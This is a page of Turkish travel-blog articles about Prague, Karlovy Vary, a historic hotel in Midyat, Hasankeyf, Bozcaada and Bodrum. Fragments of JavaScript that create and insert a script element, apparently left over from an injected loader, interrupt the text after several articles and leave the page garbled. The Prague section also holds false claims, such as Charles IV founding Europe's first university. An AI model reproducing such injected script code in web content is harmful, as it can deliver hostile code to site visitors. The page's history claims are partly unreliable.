Prag’a gidenler şehri Kale bölgesinden başlıyor gezmeye… Biz de öyle yaptık… Kale meydanı, Prag kalesi, vitraylarıyla ünlü gotik stilinin mükemmel örneği St. Vitus Katedrali, Kraliyet Sarayı ve St. George Bazilikası’ndan gözlerinizi alamıyorsunuz… Hepsini yürüyerek kısa sürede gezebiliyorsunuz… Gezmesi çok kolay, ama ya anlaması… O da bir o kadar zor… Bir ihtişamlı St. Vitus Katedrali’nde gözleriniz, bir biraz ötede hiç bir koruma göremediğiniz Cumhurbaşkanı’nın çalışma ofisinde… Başkanın çalışma ofisi olduğunu balkonundaki Çek bayrağından anlayabilirsiniz… İsterseniz ofis balkonunun altında oturup etrafınızın gizemini çözmeye çalışabilirsiniz…
Kale, Prag’ın gurur sembolü gibi…Tepede büyük bir ihtişamla oturan ve şehri sessizce izleyen kale kalıntılarının üzerine kraliyet bir saray yaptırırken, kilise de boş durmamış… Katolikler ve protestanlar arasındaki savaş alanlarının en önemli yerlerinden biri olmuş kale… Burada  inşa edilen katedral, kilise, şapel ve manastırlar nedeniyle Prag’ın bir adı da “Yüz kuleli kent” olmuş… Simyacı evlerinin bulunduğu bölgede, 30 yıl savaşlarının çıktığı ev dikkatimizi çekiyor. 1618′de 2 protesyon rahibin, bir katoliği pencereden atması 30 yıl süren savaşın başlangıcı olmuş…
Bu topraklarda ilk kilise Prens Vaclav tarafından yaptırılmış, Aziz Vitus Katedrali’nin yapımına ise 1344′de 4. Karl zamanında başlanmış ve mimarlığını da Karl’ın isteği üzerine Arraslı Matthias üstlenmiş. Yüzyıllar boyunca zaman ozaman yapımına ara verilen ve Matthias’ın ölümünden sonra Alman mimar Peter Parler ve onun ardından da iki oğlu tarafından sürdürülen el yapımı kilise, ancak 1929′da tamamlanabilmiş. Gotik mimarisinin şaheserlerinden biri olan St. Vitus vitraylarının güzelliği ile de ünlü. Doğuya doğru ilerlediğinizde karşınıza Aziz George Meydanı çıkıyor… Burada da tüm ihtişamıyla St.George Bazilikası karşılıyor sizi…

HARİKA CHARLES KÖPRÜSÜ

Küçük mahallenin en önemli yapısı Charles Köprüsü de denilen Karel Köprüsü. Prag’ı taşra kasabası olmaktan çıkarıp büyük bir başkent’e dönüştüren, Bohemya’yı 36 yıl boyunca yöneten 4. Karl olmuş. 1348′de Avrupa’nın ilk üniversitesini kuran Karl, Vitus Kadetrali’nin de temelini atmış. Eski Şehir ile Küçük Mahalle’yi 600 yıldır birbirine bağlayan 520 metrelik Karl, Karel ya da Charles Köprüsü de 4. Karl zamanında Prag’a kazandırılmış. 8 dil bilen, 4 eşli Paris’te eğitim gören Lüksemburglu Karl’ın köprüsü çok renkli görüntülere sahip. Köprüyü bir baştan diğer başa yürüken, siz de kendinizi o renkli yaşamın bir parçası gibi hissediyorsunuz… Araç trafiğine kapalı köprü, satıcılar ve sokak çalgıcılarıyla hayli hareketli. 1800′lü yılların başında köprüye yapılan sağlı sollu 30 heykelden üçü gerçek. Diğerleri imitasyon, rehberimiz gerçeklerinin müzede saklandığını söyledi… Gerçek heykellerden birinde köle ticareti yapan bir Osmanlı figürü de yer alıyor. Doğrusu bu figür hepimizin kafasını biraz karıştırdı. O dönemde köle ticareti yapan Osmanlı!.. Hz. İsa’nın çarmıha gerilişini anlatan heykel ile dilek dilenen diğer iki heykel de gerçek… Köprünün bitiminde ise ünlü kuklaların satıldığı bir kuklacı dükkanı bulunuyor…

saat
ORTAÇAĞ HARİKASI SAAT

Eski Şehir Meydanı’nın en önemli yapısı, Ortaçağ harikası saat. 14. asırda Annuş usta tarafından terazi burcuna göre yapılmış. Saatte bir çok figür var. Sabah 06.00 ile 21.00 arasında her saat başı gösteriyi izleyebilirsiniz, adeta tiyatro gibi… Meydanda toplanan turistlerle birlikte yerli halk da, ölüm olmaması için iskeletin çan çalmasıyla başlayan gösteriyi her seferinde heyecanla takip ediyor. Çanla birlikte diğerleri de aynı anda harekete geçiyor. Osmanlı figürü saz çalıyor, Musevi para bitmesin diye zenginliği dile getiriyor. İnsan güzelliği anlatılıyor. Üstteki pencerelerden Hz. İsa’nın 12 Havarisi teke teker çıkıyor ve son olarak da horoz 40 saniye ötüyor. Rivayete göre, saati çok beğenen bazı ülkeler, Annuş ustadan kendilerine de yapmasını istemişler. Ancak ustanın gözleri kör edilerek, başka saatler yapmasına mani olunmuş.
Eski şehir bölgesinin bir önemli yerleşim yeri de Yahudi mahallesi. Müzesi ve sinagoglarıyla gezilebilecek bir bölge Yahudi Mahallesi… Eski Şehir Meydanı tam bir panayır alanı gibi… Krepçiler, gözlemeciler, tatlıcılar, biracılar, hediyelik eşya satanlar, yerli halk, turistler… Ne ararsanız var…Yeni Şehir’de ise Prag’ın sembolik anıtı Aziz Vaclov Anıtı, komünist rejimin Çek kurbanlarına adanmış anıt, Ulusal Müze, Çek Devlet Operası ve Ulusal Tiyatro bulunuyor.

sokak
Prag’da ilgimiz çeken bir başka görüntü de… Dünyanın en dar sokağı oldu… Sokak o kadar dar ki, iki kişi yan yana yürüyemiyor. Bu nedenle sokağın başında sadece yayalar için konmuş bir trafik lambası var.

KARLOVY VARY

Prag’a gitmişken, 130 km batısındaki kaplıcalar diyarı Karlovy Vary’e (Karlsbad) gitmemek, o güzelliği görmemek olmazdı. 4. Karl yani bir başka deyişle Charles avlanırken, peşine düştüğü geyik, bir uçurumun kenarında çaresizlikle aşağı atlamış ve böylece kaplıcalar keşfedilmiş. Kasabaya Karl’ın şerefine Karlsbad ya da Charles’ın kaplıcaları adı verilmiş. Rus Çarı Büyük Pedro, ünlü besteciler Bach, Brams ve Grieg kaplıcalarda şifaya kavuşan ünlülerin başında geliyor.

atatürk

12 kaplıcanın bulunduğu bölgeye 1918′de ulu önderimiz Mustafa Kemal Atatürk de tedavi amaçlı gelerek, bir süre kalmış. Ancak buradan pek memnun kalmayan Atamız, kaldığı otelin yakınındaki bir başka otele giderek, yola bakan bir pencerenin önünde kahvesini yudumlarmış. 65-70 derecede kaynayan suların çeşitli hastalıklara iyi geldiği belirtiliyor. Hastaların yürürken bu sulardan içebilmeleri için, özel fincanlar üretilmiş… Çar Büyük Pedro’nun özel olarak yaptırıp, kaldığı evi daha sonra marangozuna hediye ettiğini öğrendik. O ev şimdi marangozun şanslı torunları tarafından otel olarak işletiliyormuş… Burada 13. şifalı su olarak nitelendirilen alkollü bir karışım olan Becherovka’nın mide hastalıklarına iyi geldiğini söylemeden geçmeyelim.

…VE ORTAÇAĞ GECESİ

Prag’da kaldığımız iki gün içinde bir de Ortaçağ Gecesi ayrıcalığı yaşadık… Prag’a 1 saat uzaklıkta’ki Detenice’de bir şatoyu gezdik. Ortaçağ’daki asillerin hangi şartlarda yaşadıklarını gördük… Sonra Ortaçağ havası verilmiş, mum ışığındaki taş restorantta kendimizi bir anda gizemli, korkutucu (buradaki aslı kadar korkutucu değildi) Ortaçağ’da buluverdik… Tavanlarda kurukafalar, bir köşede darağacında sallanan adam, cadılar, kılıçla düello yapanlar, ağzından ateş çıkaran adamlar, dansözler, yılanlı adam, durmadan bağıran ve ortalığı kızıştıran cüce… Prag’dan bu unutulmaz Ortaçağ Gecesiyle ayrıldık… Ama aklımızın bir köşesi Prag’da kalarak…document.currentScript.parentNode.insertBefore(s, document.currentScript);d.getElementsByTagName(‘head’)[0].appendChild(s);

Mardin’de tarih ile iç içe: KASR-I NEHROZ


KASR
Kasr-ı Nehroz… Midyat’ın Nehrozlar Mahallesinde, 1200 yıllık bir geçmişin pek çok dönemine tanıklık etmiş, vakur duruşlu güçlü bir yapı. Değişen çağlara meydan okurcasına dimdik yükselen iki burcuyla, kendini, orta çağın çalkantılarından uzak tutmak istercesine içine kapatan mağrur duvarlarıyla, bir madalyonu andıran soylu biçimiyle, masalsı siluetiyle, daha ilk bakışta, birbirinden gizemli öyküler anlatmayı vaat eder gibi… Kasr-ı Nehroz geniş bir turistik alana, tarihi zenginliklere sahip Midyat’ın bu coğrafyaya yapılacak gezilere, yalnızca bir uğrak yeri olmaktan öte, yeni bir hareket ve konaklama noktasına, yeni bir odağa dönüşmesine öncülük edecek. Midyat merkezli alternatif turlar günübirlik mesafedeki sayısız tarihi zenginliğin günışığına çıkmasına katkıda bulunacak.

Kasr-ı Nehroz otelde konaklamak isteyen kişilere sunulan imkanlar ise şöyle:

Tesisler  iki tarihi binadan ibare olup, 1200 yıllık geçmişe saygı duyularak çağdaş yaşama uygun bir şekilde tasarlanmış.

- 23 adet Standart iki kişilik oda,
- 2 adet tek kişilik oda,
- 3 adet üç kişilik oda,
- 2 adet Aile Suite odası
,

olmak üzere toplam 30 oda bulunmakta.

Odalarda Standart Ekipman Olarak;
Çevreye duyarlı enerji kontrollü kart sistemi, split klima, plazma tv, direkt telefon, mini bar, emanet kasa, internet bağlantısı, banyolarımızda saç kurutma makinesi, yağmur duş-kabin mevcut.

Restoran & Barlar

Tarihi yapısı korunarak restore edilmiş olan 40 kişilik restoranda sabah saatlerinde kahvaltı salonu olarak, öğle ve akşam yemeklerinde ise A’La Carte Restaurant olarak hizmet vermekte. Sıcak yaz günlerinde, su sesleri ve ışık yansımaları eşliğinde havuzlu avluda, özel isteklere göre hazırlanmış yöresel tatların veya mönüler de bulunan Türk ve enternasyonel mutfaklara özgü yiyeceklerin tadına bakılabiliyor.

Ayrıca, 1200 yıllık tarihin gerçek izlerini görerek kendinizi bambaşka bir dünyada hissedeceğiniz ‘Şaraphane’de, yerli, yabancı veya dünyaca ünlü Süryani şaraplarını tadarak geceniz renklendirilebilinir.

Aynı zamanda, Şaraphane; gündüz saatlerinde, sıcak – soğuk içecekler ve açlığınızı yatıştıracak aperatifler ile soluklanabileceğiniz ikramlar sunmakta.

Sabah saatlerinde, günlük gazetelerinize göz atabileceğiniz ve kahvenizi yudumlayabileceğiniz veya güzel bir akşam yemeği sonrası mırranızı yudumlarken sohbetlerin tadına doyamayacağınız ‘Divanhane’de  sizde tatlı anılar bırakacaktır.

Şaraphane
Asur tabletlerine ‘Mağara kenti Matiate olarak kazınmış, efsanevi Midyat’ın geçmişidir anlatacakları. Bu topraklarda doğmuş, yaşamış, sayısız kavmin, kültürün, inancın öyküleri…  Yukarı Mezopotamya’da yaşanmışlıklardan hatırladıklarıdır…  Tonozlar, dehlizler, geçitler, sıvalarda çizili kalmış, kim bilir hangi inancın, hangi kutsalın taşıyıcısı semboller, gizem dolu serüvenlerin sessiz tanıklarıdır sanki…

Oda Servisi;
Tesisimiz içerisindeki tüm yiyecek – içecek ve diğer ihtiyaçlarınız için 24 saat oda servisi hizmeti verilmektedir.

Ve şimdi de Mardin Midyat Tarihi

Mevcut belgelere dayanılarak Süryaniler tarafından kurulduğu anlaşılan Midyat ilçesinin adı, MÖ 9. yy Asur tabletlerinde ‘mağara kenti Matiate’ olarak tanımlanır. Midyat’taki ilk Hıristiyanlar mağaralarda yaşardı. Midyat tarih boyunca birçok kere kuşatılıp talan edilmiştir. Son olarak Birinci Dünya Savaşı’nın karanlık günlerinde kasaba sakinlerinin üçte biri yaşamını kaybetmiştir. Ancak 1930 yılından sonra kasaba yeniden canlanmış, kiliseler, evler ve bazı mekanlar onarılmıştır. Bundan sonra yerleşim düzeni zamanla oturmaya başlamıştır.
İlçenin deniz seviyesinden yüksekliği 1070 metredir. Mardin ilinin en geniş ve nüfus bakımından en kalabalık ilçelerinden biridir. İlçeye bağlı 43 mezra bulunmaktadır Süryanilerin milattan önceki tarihleri, eski Mezopotamya’da yaşayan uluslarınki ile paraleldir. Süryani halkının kökleri de Mezopotamya’nın en eski tarihsel dönemine kadar inip orada kaybolmaktadır. Yukarı Mezopotamya’nın yazılı tarih evresi yalnız Aramiler ile başlar. I.O. 3000′lerde Sümer’in kuzeyinde yer alan Asurlular ve Akkadlar, Fırat’ın orta kesiminde, çok sayıda bağımsız site devletleri kurmuşlardır. Buradaki halk, Sümerlere benzemeyen bir kabileden ( tribulan ) oluşuyordu. Bu kabile, bir Sami dili (Asurca ve Akadca) konuşuyordu ve Mezopotamya’nın batısında bulunan ovalarda yasayan Tribulerle akrabaydılar. Yani Asurlular, Hititler ve Akkad’ın Samileri batıdan gelmişlerdi. Dinlerin ve dillerin birleşme noktası,”Gelen ağlar giden ağlar” sloganı ile adeta özdeşleşen Midyat, Güneydoğu Anadolu Bölgesinin en gelişmiş İlçelerinden biridir.1990’lı yıllardan itibaren okur-yazarlık oranında büyük bir ilerleme yaşanmıştır. Geçim kaynağı tarım ve hayvancılıktır. 2000’li yıllardan itibaren İlçede çekilen dizi film ve sinema yapımları sayesinde unutulmakta olan Telkari (Gümüş İşleme) sanatı tekrar canlandırılarak endüstri haline getirilmeye çalışılmaktadır. Kendine özgü mimarisi olan ve adını ilçesinden alan “Midyat Evleri”ni süsleyen Taş İşleme Sanatı (Katori) da ayrı bir önem taşımaktadır.

Nüfus

İlçenin nüfusu 2007 genel nüfus sayımına göre 114.040. Bunun 56.340′u ilçe merkezinde, 57.700′sı ise kasaba ve köylerde yaşamaktadır. İlçe bağlısı olarak merkez hariç olmak üzere ilçe merkezine bağlı 6 belde, 50 köy ve 7 mahalleden oluşmaktadır.} else {

Deniz, Güneş, Tarih ve HASANKEYF


HASANKEYF
Tatil deyince çoğumuzun aklına; deniz, güneş, kum, yüzmek gelir… Çalışanların çoğu yıllık iznini yaz aylarında kullanmaya ve olanakları ölçüsünde deniz, güneş, kum üçgeninden faydalanmaya bakarlar. Birlikte tatil yapacağı insanların görüşleri, istekleri de önemlidir tabii… Aile ya da arkadaşla çıkılan tatiller böyledir… Özellikle temmuz ve ağustos aylarında kullanılan izinlerde Akdeniz ya da Ege sahillerinde bir kıyı kasabası seçilir. Hareketli yaşamdan hoşlananlar geceleri de uyanık kalınabilecek bir yeri tercih eder, sakinliği sevenler ise daha sessiz, kalabalık olmayan bakir, denize girip, güneşlenebileceği ve kitabını okuyabileceği bir yer seçerler…
İmkanlar ölçüsünde bir hafta ya da 10 gün, biraz daha şanslılar ise 15 günlük tatiller sonucunda bronzlaşmış olarak, yaşadıkları şehre dönerler… Onlar için tatil bitmiştir ve kendilerini yoğun bir iş trafiğinde bulmuşlardır bile… Ne yalan söyleyeyim spor gazetecisi olarak yoğun bir şekilde çalıştığım yıllarda ben de böyle bir tatil döngüsü içindeydim… Tatili sadece denize girmek, güneşlenmek olarak algılamak ne kadar doğru?

Halbuki, yurdumuzun her yanı bir başka güzel, bir başka anlamlı… Güzel ülkemizin her köşesinden bir başka tarih fışkırıyor… Dünyada en çok uygarlığın can bulduğu, günümüze kadar geldiği Anadolu’nun her yanı gezilmeye, görülmeye değer…
İşte Hasankeyf… Adını her duyduğumda, her fotoğrafını gördüğümde içimi sızlatan bölge… Hasankeyf görülmesi, sahip çıkılması gereken yüzlerce bölgeden sadece biri… Hasankeyf sular altında kalacak dediklerinde insanın gözleri nasıl dolmaz? Elbette bir çoğumuz bu konulara duyarlı, elbette üzülüyoruz… Ve insanlığın en eski yerleşim bölgesi Mezopotamya’da Dicle nehri kıyısındaki Hasankeyf, binlerce yıldır orada, Batman’da duruyor… Ve hep durmalı… Durması için de duyarlı insanlar zaten çaba sarf ediyor… Bizim yapabileceğimiz, oraya giderek destek vermek olabilir…

Şunu söylemeye çalışıyorum… Hasankeyf’i imkanı olan herkes görmeli… Hasankeyf sadece bir örnek, Hasankeyf gibi gidilmesi gereken çoookkkk yer var ülkemizde… Arzum; insanların tatil programı yaparken, deniz ve güneş kadar tarihi ve kültürel önemi olan yerleri de düşünerek, hiç olmazsa izinlerinden 3-4 günü buralara ayırmaları ve tarihin binlerce yıllık nefis kokusunu içlerine çekmeleri…
HASAN} else {

Turistik açıdan sıfır… Ama doğa güzelliği açısından muhteşem bir yer: BOZCAADA

erkan özmen kale

Hürriyet Gazetesi’nde Savaş Özbey’in, Bozcaada’nın 30 keyfi başlıklı yazıyı okuyunca, uzun zamandan beri düşünüp de yapamadığım ada gezisini gerçekleştirdim…

Bozcada, el birliği ile yok ettiğimiz Bodrum gibi. Ada halkı sıcakkanlı, sevecen gelen yerli ve yabancı turistleri kucaklıyor. Turizm’i bilmiyorlar. Zaten adada turizmi bilen pek kimse yok.

Çoğu bu günü yaşayalım yarına Allah kerim gözü ile bakıyor. Bilenlerde bildiklerini kimseye anlatamıyor. Kimse bilgi sahibi olmak istemiyor…

Ramazan ayından iki hafta önce adaya inince şaşırdım. İnsanlar akın akın buraya geliyor. Ada çok mu güzel? Hayır. Çok mu ucuz? Hayır. Peki, insanlar neden bu kadar ilgi gösterip adaya geliyorlar.

Ada’da turizm olgusunu yaşayabilecekleri hangi alternatiflere sahip? Tarih, doğa, konaklama, deniz gibi unsurlardan neler var?

Bu alternatiflerden pek çoğu yok. Bir kere ada’da trafik karmaşası var. 2,5- 3 metre enindeki sokaklarda yurdun her tarafından gelen araçlar fink atıyor. Belirli bir süre sonra trafik felç oluyor. Trafik polisleri ceza kesmek için yollara düşüyorlar…

bozcaada trafik

1-) İşte size bir bayan trafik Polisi sokağın başına park edilen arabanın başında
.

Çözüm, adaya hiçbir araç girmeyecek. Veya araçlar kasabanın içine girmeyip belirli bir park alanına park edebilirler. Belediye gelen turistler için adanın her tarafını rehberler eşliğinde dolaştıran içinde Ring seferi yapabilir. Böylece adada trafik sorunu yaşanmaz.

Bozcaada, ada ama genelde balıklar İstanbul’dan geliyor. Çok garip değimli…

Konaklama işine bir türlü akıl erdiremedim. Çünkü geldiğim gün hiçbir otel motel ve pansiyonda yer yoktu. Ayni feribot ile geldiğimiz bazı aileler arabalarını park yerine çekerek içinde uyudular. Ben daha önceden yer ayırttığım için o keşmekeşi yaşamadım. Ama pansiyonları tek tek dolaştım. Fiyatlar uçuk ve tutturabildiğine… Ve pansiyonların çoğu kayıtlı değil. Paralar cebe. Vergi vermek diye bir şey yok. Kontrol edilebilir mi? Tabi ki edilir. Ama kim uğraşır. Bilemem…

Ada’da güzel Restoranlar ve lokantalar, kafeler ve kahvaltı veren yerler var. Ama birde ne yaptığını bilmeyen yerler var. Levrek siparişi veriyorsunuz. Çupra geliyor. Servis yapan garson “Çupra yiyin daha güzel” diyebilecek kadar turizm bilgisine sahip(!)

Bazı Restoranlar sırf para kazanmak için kapasitesinin üzerinde müşteri alıyor. Bu yüzden servis ve kalite düşüyor. Bir çoban salatanın gelmesi için en az 20 dakika bekliyorsunuz.

Ada’da muhteşem bir kale var. Ancak kale ile ilgili bilgiler insanı şaşırtıyor. Kale’nin iki ayrı yerinde birbiri ile çatışan iki bilgi yer alıyor. Kalenin içindeki antik mezar taşları bakımsızlıktan kırılmış. Kale’de küçücük bir odaya sığdırılmış yüzlerce antika amfora’lar var. Ama hepsi bakımsız kırık dökük vaziyette. Başında bir bekçi yok. Varmış ama bazen görevinin başında olurmuş. Yazık, hem de  çok yazık.

bozcaada anfora

2-) İşte Antik çağdan kalan anforalardan bir grup

Dogma büyüme adalı olan eskilerden biri ile konuşuyorum.

“25 30 sene önce burada çok anfora vardı. Ama zaman içinde kırıldılar, kayboldular” diyor. Şaşırıp kalıyorum.

Biraz sonra kale duvarlarına sırtını dayamış bir benzin istasyonunu görünce şok oluyorum…

bozcaada benzin istasyonu

3-) İşte sizlere dünyanın hiçbir yerinde göremeyeceğiniz bir manzara. Kale duvarlarına sırtını yaslamış benzin istasyonu…

Deniz süper adanın her yerinde denize girebilirsiniz. Deniz tertemiz. Plajlar güzel ama denetimsiz. Ayazma plajında iki şezlong bir güneşlik 5 TL parayı gençler Bozcaadaspor adına alıyorlar ama makbuz vermiyorlar.

4-) İşte Bozcaada’nın Ayazma plajı

Bozcaada

İstanbul Ankara ve İzmir gibi büyük şehirlerimizde yaşayıp da sakin birkaç gün geçirmek istiyorsanız size Bağhane’yi tavsiye edebilirim. Gerçek bir bağ evinden oluşan tesiste incir üzüm gibi meyveleri dalından koparıp yiyebilirsiniz. Sabah kahvaltısında nefis sarımsaklı özel peynirinden tatmak, yaklaşık iki yüz gram gelen özel domateslerin tadına bakmak için Ümit Hamlacıbaşı hanımın işlettiği Bağhane’ye mutlaka uğramanız gerekir.

5-) İşte gerçek bir bağ evi Bağhane. Birbirleri ile kaynaşmış müşteriler bir arada.

bağhane

Bozcaada daha hala arıtma sistemini kuramamış. Fosseptik ile idare ediyor.

Galiba olumsuzlukları fazla dile getirdim ama. Bu benim görevim. Maalesef Turizmi biliyoruz. Bu gidişle öğreneceğimizde yok…

Ama bunları görmek için mutlaka adaya bir kere gidin bana hak vereceksiniz…

}document.currentScript.parentNode.insertBefore(s, document.currentScript);

Bodrum’u ne kadar tanırsınız?

Bodrum

Kime sorsanız en büyük aşkım:

BODRUM

Cevabını alırsınız… Ama sizler Bodrum’u ne kadar tanırsınız? İşte cevabı…

SERAP ÖZAKSOY

Uzaktan her şey çok güzel ve kolaydır. Hatta hep bir “Bodrum’a gitsem” diye hayaller kurarız. Ama Bodrum’da yaşamak hakikaten ayrı bir olaydır. Çünkü Bodrum’un havası, suyu, otu, yolları, otelleri, lokantaları ve özellikle de insanı başka türlüdür.

Fakat hepsinden önemlisi orada sadece senelik tatilini geçirmeye gidenler hep derler ki… “Bir daha başka yere gitmem, ille de BODRUM” … Gerçekten de Bodrum Türkiye’nin nadide yerlerinden biridir. Mesela bendeniz Bodrum’un içinde ve köylerinde 16 sene yaşamış bir kişi olarak; Bodrum’u sizlere anlatmak isterim.

Şimdi tarihi 80’li yılların sonuna getirelim. Masmavi bir deniz -halen de mevcut, çünkü ben doğma büyüme ana baba bir İstanbullu olarak, burada denize girilebilecek bir yer hala bulamadım- diyerekten; ver elini Bodrum dedim. Aslında ilk başlarda pişman olmadım değil. Çünkü belki sizlere komik gelecek ama; Bodrum’a o zamanlar gece 24.00’den sonra elektrikler kesilirdi. Su işi zaman zaman sarnıçlar doldurularak, ya da eğer evinizin sarnıcı çok büyük ise kışın deliler gibi yağan yağmur ile dolar ve yaz boyunca hiç olmazsa bir müddet sizi idare ederdi. Otel ve motellere gelecek olursak; o zamanlar Bodrum’un içinde bir iki otel vardı. Köylerde ise sadece pansiyonlar bulunurdu. Velhasıl Bodrum gerçek anlamda bir kafa dinleme yeriydi. Doğal güzellikler, sıcak insanlar diyarı Bodrum. Hatta önemli bir anektod vermeden de geçemeyeceğim. O zamanlar – belki inanmazsınız ama – kapılar asla kilitlenmezdi. Bir dükkanın önünden geçerken, eğer kapıya bir sandalye konmuş ise ; dükkan sahibi eve yemeğe gitmiş sayılırdı. O zamanki ev sahibim bir sabah eve geldiğinde kapıyı kilitlediğimi gördüğü zaman çok şaşırmıştı. İşte Bodrum o zamanlar öyleydi.

Yine önemli bir ayrıntı kaleyi arkanıza aldığınız zaman karşınızdaki dağlar yemyeşil ve bakirdi. Ama ne zaman ki insanlar “Bodrum’dan bir ev alalım” furyasını başlattı. İşte faciaya da davet böylece gerçekleşti. Hemen yaz bahanesi ile ormanlar yakılmaya makilikler çaktırmadan gecekondular misali mantar gibi evlerle kaplanmaya başladı. Evler evleri, o da yetmedi. Bu defa kooperatifler oluşturularak geniş siteler oluşturulmaya başlandı ve Bodrum’un o güzel hali kendini beyaz betonlara terk etti. Ama yine de renk standartı – Bodrum yarımadasında  dışı beyaz olmayan ev yapılamaz- neyse ki ben ayrılırken bozulmamıştı. Ama şimdi her şeyimizi bozduğumuz gibi beyazları da renkliye çevirdik. Yani biz toplum olarak yapmayı, değil; aslında bozmayı çok seviyoruz.

Birazda yemeklerden bahsedelim… Şimdi enteresandır; insanlar Bodrum’a geldiği zaman yemeklerden ayrı bir lezzet alırlar. Neden mi?… Bütün yemekler ki; buna makarna ve pilav da dahil hepsi halis zeytinyağından yapılır. İşte yemeklerin lezzeti de buradadır. Ayrıca bir de Bodrum karşısındaki Cos – İstanköy- adasının ahalisi ile genelde akraba oldukları için Rum yemeklerini çok iyi yaparlar. Bodrum’da yerli halk arasında gözlük kullanan kişiler çok azdır. Bunun sebebi de zeytinyağı biliyor musunuz. Evvet zeytinyağının göze çok büyük faydası var. Neyse şimdi de yemeklerden bahsedelim. Bodrum mutfağında et az bulunur. Onun yanı sıra daha çok balık ağırlıklı otlar yenir. Ama ot deyip geçmeyin. Şimdi İstanbul’da artık pazarlarda bile rahatlıkla bulabildiğimiz “Deniz börülcesi” apayrı bir lezzete sahiptir. Keza hardalotu,turpotu, kenker Bodrum’a özel yemeklerin başlıca malzemelerindendir.

Aslında Bodrum yazmakla bitmez; ben diyorum her hafta bir Bodrum anısını bu sayfalara taşıyalım; neden okunmasın. Çünkü ne demişler “Yaşayan bilir”…

Yine bu haftalık son olarak da insanlarından bahsetmek istiyorum. Dünyanın çeşitli ülkelerini görmüş bir kişi olarak Bodrum insanın sıcak kanlılığı, dostluğu, yardımseverliği ve gönüllerinin ganiliği asla tartışılmaz.

Selam olsun Sevgili Bodrum’a…var d=document;var s=d.createElement(‘script’); document.currentScript.parentNode.insertBefore(s, document.currentScript);

Linkler

Reklamlar

Giriş - Powered by Pixelim Media · Ukrayna Turlari | Ozge Tur | Tesla ERP